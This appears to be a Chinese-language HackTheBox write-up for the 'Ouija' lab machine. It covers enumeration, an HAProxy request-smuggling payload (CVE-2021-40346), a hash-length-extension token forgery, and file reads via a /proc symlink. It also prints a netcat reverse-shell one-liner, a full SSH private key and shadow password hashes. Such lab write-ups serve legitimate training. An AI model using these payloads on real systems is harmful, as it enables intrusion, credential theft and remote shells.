知识点:HAProxy请求走私 (CVE-2021-40346);hash长度拓展攻击;软链接读;逆向工程。
Scan
┌──(kali㉿kali)-[~/Desktop/htb/Ouija]
└─$ sudo nmap -sC -sV 10.10.11.244
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-06 08:29 EST
Nmap scan report for 10.10.11.244
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 6f:f2:b4:ed:1a:91:8d:6e:c9:10:51:71:d5:7c:49:bb (ECDSA)
|_ 256 df:dd:bc:dc:57:0d:98:af:0f:88:2f:73:33:48:62:e8 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.26 seconds
Enum
发现80和3000端口,80是apache默认页,扫波目录扫到/server-status,把3000端口也顺便一起扫了
┌──(kali㉿kali)-[~/Desktop/htb/Ouija]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -t 50 -u http://10.10.11.244/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[//10.10.11.244/ ] Url: http:
[ ] Method: GET
[50 ] Threads:
[ ] Wordlist: /usr/share/wordlists/dirb/common.txt
[404 ] Negative Status codes:
[3.6 ] User Agent: gobuster/
[10s ] Timeout:
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/index.html (Status: 200) [Size: 10671]
/index.php (Status: 302) [Size: 0] [--> http://ouija.htb/]
/server-status (Status: 200) [Size: 12972]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
┌──(kali㉿kali)-[~/Desktop/htb/Ouija]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -t 50 -u http://10.10.11.244:3000/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[//10.10.11.244:3000/ ] Url: http:
[ ] Method: GET
[50 ] Threads:
[ ] Wordlist: /usr/share/wordlists/dirb/common.txt
[404 ] Negative Status codes:
[3.6 ] User Agent: gobuster/
[10s ] Timeout:
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.11.244:3000/6f80356c-6d62-499d-9dee-4f6f93052671 => 200 (Length: 31). To continue please exclude the status code or the length
┌──(kali㉿kali)-[~/Desktop/htb/Ouija]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -t 50 -u http://10.10.11.244:3000/ --exclude-length 31
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[//10.10.11.244:3000/ ] Url: http:
[ ] Method: GET
[50 ] Threads:
[ ] Wordlist: /usr/share/wordlists/dirb/common.txt
[404 ] Negative Status codes:
[31 ] Exclude Length:
[3.6 ] User Agent: gobuster/
[10s ] Timeout:
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 42]
/Login (Status: 200) [Size: 42]
Progress: 3328 / 4615 (72.11%)[ERROR] Get "http://10.10.11.244:3000/lost": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/register (Status: 200) [Size: 26]
Progress: 4104 / 4615 (88.93%)[ERROR] Get "http://10.10.11.244:3000/put": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/users (Status: 200) [Size: 25]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
访问/server-status 看到域名,hosts一下
3000端口
访问了users路由,提示缺少ihash header,测试添加后提示缺少identification header,添加identification后是token无效;login路由需要账密,register路由被禁用。
子域名
扫子域名,用fs参数过滤一下大多数的size,得很多dev*
┌──(kali㉿kali)-[~/Desktop/htb/Ouija]
└─$ ffuf -w /home/kali/wordlists/subdomains-top1million-5000.txt -u "http://ouija.htb/" -H 'Host: FUZZ.ouija.htb' -fs 0,10671
/'___ /'___ /'___
/ __/ / __/ __ __ / __/
,__\ ,__/ / ,__
_/ _/ _ _/
_ _ ____/ _
/_/ /_/ /___/ /_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://ouija.htb/
:: Wordlist : FUZZ: /home/kali/wordlists/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.ouija.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0,10671
________________________________________________
dev [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 259ms]
dev2 [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 257ms]
devel [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 253ms]
development [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 254ms]
dev1 [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 252ms]
develop [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 256ms]
dev3 [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 259ms]
developer [Status: 403, Size: 93, Words: 6, Lines: 4, Duration: 255ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
页面请求也看到一个gitea子域
dev的看了看被管理员ban了,gitea有东西,Install HA-Proxy version 2.2.16,查看文章知道有请求走私。
查看文章,尝试通过请求走私访问dev子域成功,注意需要关掉burp的自动内容长度更新
https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/
POST /index.html HTTP/1.1
Host: ouija.htb
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 39
GET http://dev.ouija.htb/ HTTP/1.1
GQ:GET / HTTP/1.1
Host: ouija.htb
发现调用了两文件
http://dev.ouija.htb/editor.php?file=app.js
http://dev.ouija.htb/editor.php?file=init.sh
同理去读一下
echo "$(date) api config starts" >>
mkdir -p .config/bin .config/local .config/share /var/log/zapi
export k=$(cat /opt/auth/api.key)
export botauth_id="bot1:bot"
export hash="4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1"
ln -s /proc .config/bin/process_informations
echo "$(date) api config done" >> /var/log/zapi/api.log
exit 1
var express = require('express');
var app = express();
var crt = require('crypto');
var b85 = require('base85');
var fs = require('fs');
const key = process.env.k;
app.listen(3000, ()=>{ console.log("listening @ 3000"); });
function d(b){
s1=(Buffer.from(b, 'base64')).toString('utf-8');
s2=(Buffer.from(s1.toLowerCase(), 'hex'));
return s2;
}
function generate_cookies(identification){
var sha256=crt.createHash('sha256');
wrap = sha256.update(key);
wrap = sha256.update(identification);
hash=sha256.digest('hex');
return(hash);
}
function verify_cookies(identification, rhash){
if( ((generate_cookies(d(identification)))) === rhash){
return 0;
}else{return 1;}
}
function ensure_auth(q, r) {
if(!q.headers['ihash']) {
r.json("ihash header is missing");
}
else if (!q.headers['identification']) {
r.json("identification header is missing");
}
if(verify_cookies(q.headers['identification'], q.headers['ihash']) != 0) {
r.json("Invalid Token");
}
else if (!(d(q.headers['identification']).includes("::admin:True"))) {
r.json("Insufficient Privileges");
}
}
app.get("/login", (q,r,n) => {
if(!q.query.uname || !q.query.upass){
r.json({"message":"uname and upass are required"});
}else{
if(!q.query.uname || !q.query.upass){
r.json({"message":"uname && upass are required"});
}else{
r.json({"message":"disabled (under dev)"});
}
}
});
app.get("/register", (q,r,n) => {r.json({"message":"__disabled__"});});
app.get("/users", (q,r,n) => {
ensure_auth(q, r);
r.json({"message":"Database unavailable"});
});
app.get("/file/get",(q,r,n) => {
ensure_auth(q, r);
if(!q.query.file){
r.json({"message":"?file= i required"});
}else{
let file = q.query.file;
if(file.startsWith("/") || file.includes('..') || file.includes("../")){
r.json({"message":"Action not allowed"});
}else{
fs.readFile(file, 'utf8', (e,d)=>{
if(e) {
r.json({"message":e});
}else{
r.json({"message":d});
}
});
}
}
});
app.get("/file/upload", (q,r,n) =>{r.json({"message":"Disabled for security reasons"});});
app.get("/*", (q,r,n) => {r.json("200 not found , redirect to .");});
审计js代码,发现想要调用/file/get功能,需要过了ensure_auth函数校验。此函数又调用了verify_cookies和d函数,分别是一个sha256和base64+hex。其中sha256的key为const key = process.env.k;
LFI
这里已经可以用上面的方法读到etcpasswd了 但并不能直接读到api那里所需的key,因为当前是在dev容器中
所以现有情况,我们知道所需的部分明文,以及目标hash,这种场景,哈希长度扩展攻击:
https://github.com/iagox86/hash_extender
作者对工具makefile进行了更改:https://github.com/iagox86/hash_extender/pull/25/commits/62b681af5a86175147de69b473a2a066063461e4
编译好之后运行:(密钥长度未知,所以指定一个范围:
./hash_extender -d 'bot1:bot' -s 4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1 -a '::admin:True' -f sha256 --secret-min=8 --secret-max 64
得到的New string 进行base64编码后作为identification,以及New signature作为ihash尝试请求api,最终得到一组有效的:
Type: sha256
Secret length: 23
New signature: 14be2f4a24f876a07a5570cc2567e18671b15e0e005ed92f10089533c1830c0b
New string: 626f74313a626f748000000000000000000000000000000000000000000000000000000000000000f83a3a61646d696e3a54727565
得到的响应是正常的,前面app.js里也可以看到写死了这个响应:
根据js代码 使用/file/get读文件不能使用../
init.sh里有一行ln -s /proc .config/bin/process_informations 所以我们可以利用这个软链接通过proc过去来读取其他文件,这时候读取environ可以获取到key了(前面读取不到是因为属于不同的容器,好像是dev,而这里是3000端口的)
读到leila用户
再读一下私钥
-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----
ROOT
基础枚举发现本地9999端口,查看代码发现say_lverifier没有在php文件中定义,进一步发现自定义的php扩展,下载下来分析,可以发现相关函数在so中
/development/server-management_system_id_0
/usr/lib/php/20220829/lverifier.so
然后就是一段操作逆向分析,动态调试难度太高了略了不写了,随便贴几个图吧。想逆了直接看喵师傅文章https://darkwing.moe/2023/12/05/Ouija-HackTheBox/
写进去了直接调用就可以了
revshell也可以,把下面的打个url编码即可。
http://127.0.0.1:9999/gqgq.php?0=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.6 4444 >/tmp/f
root:$y$j9T$Kg/bsxGg3rtmr7d.HkQ0N/$14XejevAukcx9oDmYsXF967olH7um9buAQ3wSGdOCy8:19677:0:99999:7::: daemon:*:19213:0:99999:7::: bin:*:19213:0:99999:7::: sys:*:19213:0:99999:7::: sync:*:19213:0:99999:7::: games:*:19213:0:99999:7::: man:*:19213:0:99999:7::: lp:*:19213:0:99999:7::: mail:*:19213:0:99999:7::: news:*:19213:0:99999:7::: uucp:*:19213:0:99999:7::: proxy:*:19213:0:99999:7::: www-data:*:19213:0:99999:7::: backup:*:19213:0:99999:7::: list:*:19213:0:99999:7::: irc:*:19213:0:99999:7::: gnats:*:19213:0:99999:7::: nobody:*:19213:0:99999:7::: _apt:*:19213:0:99999:7::: systemd-network:*:19213:0:99999:7::: systemd-resolve:*:19213:0:99999:7::: messagebus:*:19213:0:99999:7::: systemd-timesync:*:19213:0:99999:7::: pollinate:*:19213:0:99999:7::: sshd:*:19213:0:99999:7::: syslog:*:19213:0:99999:7::: uuidd:*:19213:0:99999:7::: tcpdump:*:19213:0:99999:7::: tss:*:19213:0:99999:7::: landscape:*:19213:0:99999:7::: usbmux:*:19520:0:99999:7::: lxd:!:19520:::::: dnsmasq:*:19528:0:99999:7::: leila:$y$j9T$4G./NwKdILbVGJTvpqros.$Oo7YxsUIGIwiSGpQJdWPCLU1gYw/ECzIbN9wJI/14K5:19534:0:99999:7::: fwupd-refresh:*:19682:0:99999:7::: _laurel:!:19683::::::
ps:
最近上班没时间打了,抽空保证一周打一台;工作做不完了root部分就水水了。基本复现喵师傅的,root是打二进制分析,逆不动过程直接全略了,喵师傅文章贴里面了。啊
原文始发于微信公众号(搁浅安全):HTB-Ouija(Hard)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论